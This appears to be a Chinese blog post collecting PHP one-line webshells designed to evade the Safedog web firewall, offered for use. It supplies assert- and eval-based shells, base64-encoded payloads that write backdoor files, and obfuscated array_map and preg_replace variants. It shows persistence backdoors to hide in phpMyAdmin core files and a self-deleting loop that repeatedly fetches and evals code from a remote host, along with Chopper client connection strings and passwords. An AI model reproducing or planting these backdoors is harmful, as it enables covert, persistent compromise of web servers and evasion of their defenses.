php过狗一句话

1、

原一句话:<?php $_GET[a]($_GET[b]);?>
简单利用方法:
?a=assert&b=${fputs(fopen('d.php','w'),'<?php @eval($_POST[c])?>')};    
复杂利用方法:
?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};
URL解码:?a=assert&b=${fputs(fopen(base64_decode(Yy5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x))};
base64解码:第一个是:c.php ;第二个是:<?php @eval($_POST[c]); ?>1
# 执行后当前目录生成c.php一句话木马,当传参a为eval时会报错木马生成失败,为assert时同样报错,但会生成木马,真可谓不可小视,简简单单的一句话,被延伸到这般应用。

改进:<?php extract($_REQUEST);@$d($_POST[b])?>
URL:IP/test.php?d=assert
密码:b        菜刀:eval

2、

原:@array_map(base64_decode($_REQUEST['xx']),(array)base64_decode($_REQUEST['sofia']));
改进:
    @array_map(assert,(array)base64_decode($_REQUEST['sofia']));
    连接方法:test.php?sofia=YXNzZXJ0KCRfUkVRVUVTVFsndnVsbiddKQ==    密码 :vuln     脚本类型:PHP(eval)
[ test.php?sofia=assert($_REQUEST['vuln']) ]

3、暂无法用菜刀连接

    <?
    $Base = "base6"."4"."_decod"."e";
    $_clasc = $Base($_REQUEST['vuln']);
    $arr = array($Base($_POST['sofia']) => '|.*|e',);
    @array_walk($arr, $_clasc, '');
    ?>
详解:
vuln=cHJlZ19yZXBsYWNl(preg_replace的base64编码) 
sofia=cGhwaW5mbygp(phpinfo()的base64编码)
    <?
    $Base = "base6"."4"."_decod"."e";
    $_clasc = $Base($_REQUEST['vuln']);    //$_clasc=preg_replace
    $arr = array($Base($_POST['sofia']) => '|.*|e',);     //$arr = array('phpinfo()' => '|.*|e')
    @array_walk($arr, $_clasc, '');          //preg_replace('|.*|e',phpinfo(),'')
    ?>

维持后门:
1、

conifg.class.php文件内容:最好放在网站核心类文件中(比如phpMyAdmin\libraries\config\ConfigFile.class.php)
    <?php
    class Parse_Args {
    public function apply_filters($key) {
    assert($key);
    }
    }
   ?>
common.php文件内容:  (比如放在:phpMyAdmin\import.php)
  //执行代码,下面代码最好放在页面顶部,至少不要有require 文件
    require_once '..\..\path\config.class.php';
   @extract($_REQUEST);
    $reflectionMethod = new Parse_Args();
    $reflectionMethod -> apply_filters($s0fia);

菜刀URL:http://IP:80/path/common.php        密码:s0fia     脚本:eval

2、

shell.php  文件内容:(访问这个文件并提交post数据,生成2.php 一句话木马)
    <?php
    if($_POST['token'] == 'sofia'){
    require 'c:/www/1.log';
    }
1.log 文件内容:
 <?php 
   $fp = fopen("./2.php",'w');
   fwrite($fp,'<?php @eval($_POST[cmd])?>');
?>

3、插入到核心文件中:

<?php 
    if(@$_GET[session]=='TGYGFH'){
       @array_map($_GET['TMP'],(array)base64_decode($_REQUEST['TYLOHRY']));
        q
    }
?>
菜刀URL:http://192.168.179.139/php_web/testroot/1.php?session=TGYGFH&TMP=assert&TYLOHRY=YXNzZXJ0KCRfUkVRVUVTVFsndnVsbiddKQ==
密码:vuln           assert函数一般可以用菜刀eval连接
复现猥琐的后门,出自本文最后一个链接

条件:开启fastCGI。
局限:Apache、IIS、nginx重启后后门消失,不过可以配合这个链接创建永远存在的后门(就是将这个文件把该链接中web.php对应的PHP文件字符串替换下来,和一起存成 jpg 格式)

<?php
unlink($_SERVER['SCRIPT_FILENAME']);
ignore_user_abort(true);
set_time_limit(0);
$remote_file = 'http://xxx/1.txt';
while($code = file_get_contents($remote_file)){
@eval($code);
sleep(5);
};
?>
1.txt 内容:
 file_put_contents('./2.php','<?php @eval($_POST[cmd])?>');
注:eval 表示执行PHP代码;1.txt 内一句话木马必须用单引号(非双引号,否则输出 '<?php @eval() ?>' 到2.php 文件中);
1.txt 可以是远程主机上的一句话文件,但一旦远程主机断网,再次连接后,删除2.php文件,则2.php文件不在自动创建,因为$remote_file不再是有效文件

还有一个大好处,1.txt 文件名后缀可以任意更换,只要$remote_file 的变量值对应一下就行了

参考链接:php一句话后门过狗姿势万千之后门构造与隐藏
那些强悍的PHP一句话后门
各种一句话木马大全
捡了一个非常淫荡的PHP后门,给跪了
【php】assert函数的用法:判断一个表达式是否成立(也可理解为执行PHP代码)

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • php.ini设置,上传大文件: post_max_size = 128Mupload_max_filesize ...
    bycall阅读 6,897评论 3 64
  • 一套实用的渗透测试岗位面试题,你会吗? 1.拿到一个待检测的站,你觉得应该先做什么? 收集信息 whois、网站源...
    g0阅读 4,930评论 0 9
  • 架构师必须知道的26项PHP安全实践 PHP是一种开源服务器端脚本语言,应用很广泛。Apache web服务器提供...
    meng_philip123阅读 6,141评论 1 161
  • 好久没有写过文章了,不知道会不会词生,本来不在打算写下去的,今天却又莫名其妙的想倾诉,于是就想写些关于我生活现状的...
    陌生人的诗阅读 561评论 0 1
  • 2016/04/11 晴 星期一 暖风习习,花香缕缕,啊,醉人的春意。和风拂面,轻轻,轻轻卷着春情,燕...
    枫丹白露戈戈阅读 170评论 1 1